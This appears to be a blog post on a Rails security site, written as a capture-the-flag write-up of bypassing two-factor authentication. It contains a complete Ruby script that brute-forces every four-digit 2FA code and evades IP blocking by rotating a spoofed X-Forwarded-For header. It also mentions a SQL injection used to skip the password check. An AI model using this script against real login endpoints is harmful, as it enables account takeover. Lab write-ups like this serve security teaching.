Brute-forcing 2FA with Ruby

23 Mar 2024
Security For Rails Developers

Develop the right mindset for Rails security

Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

Get the course for $99

I was doing a challenge on Hack The Box(since it is still active, I don’t want to point out which one it was) and I solved it with a little Ruby script. The challenge was to bypass 2FA protection. At the login proccess, a SQL injection enabled to bypass the password verification, but there was a second factor. Based on the available source code, the second factor was a 4 digit code and it was valid for 5 minutes, so I tried to brute-force it with Burp Intruder, but after the 20th attempt, my IP got blocked. I looked at the codebase again, and noticed that the application accepts an X-Forwarded-For header. I thought this might enable me to brute-force the 2FA code. Unfortunately Intruder doesn’t make it easy to rotate the IP during an attack, so I decided to write a little Ruby script to handle this.

My goal was to get a script that iterates over the 4 digit permutations of the numbers from 0 till 9, make a request with the code to the target, set the X-Forwarded-For header and rotate it every 5 requests. The failed 2FA code resulted in a 400 status code, so when the script receives anything else, it is likely a match and I want it to output the response so I can get the session cookie from the headers.

For the HTTP requests, I decided to use Faraday, because it makes it easy to set request headers, debug them if needed and to easily see the response headers. I checked Ruby’s IPAddr class and it has a succ method to get the next IP address, this will be perfect for the IP address rotation.

This is the script I ended up with comments for explanation:

require "ipaddr"
require 'faraday'

# start with this IP
ip = IPAddr.new "1.1.1.1"

# iterate over the repeated_permutations of our character set(0-9)
(0..9).to_a.repeated_permutation(4).each do |numbers|
  code = numbers.join # create the code from the numbers
  # rotate IP every 5th requests
  ip = ip.succ if code.to_i % 5 == 0

  # create a faraday connection to the target with the necessary header
  conn = Faraday.new(
    url: 'TARGET/auth/verify-2fa',
    headers: {'X-Forwarded-For' => ip.to_s}
  )

  # send the request
  response = conn.post('/auth/verify-2fa') do |req|
    req.body = "2fa-code=#{code}"
  end

  # poor man's progress indicator
  puts response.status
  # if the response status is not 400 we have a match. output the response and stop the process
  if response.status != 400
    puts response.inspect
    break
  end
end

As you can see, this task is a breeze with Ruby, no wonder why many cyber security professionals use it as their go to scripting language.

As for the challenge, it highlights a typical real life issue with 2FA implementations in my experience. I found a few bugs where there was no rate-limiting at all on the 2FA code and token lifetime was enough to brute-force it.

Or follow me on Twitter

Related posts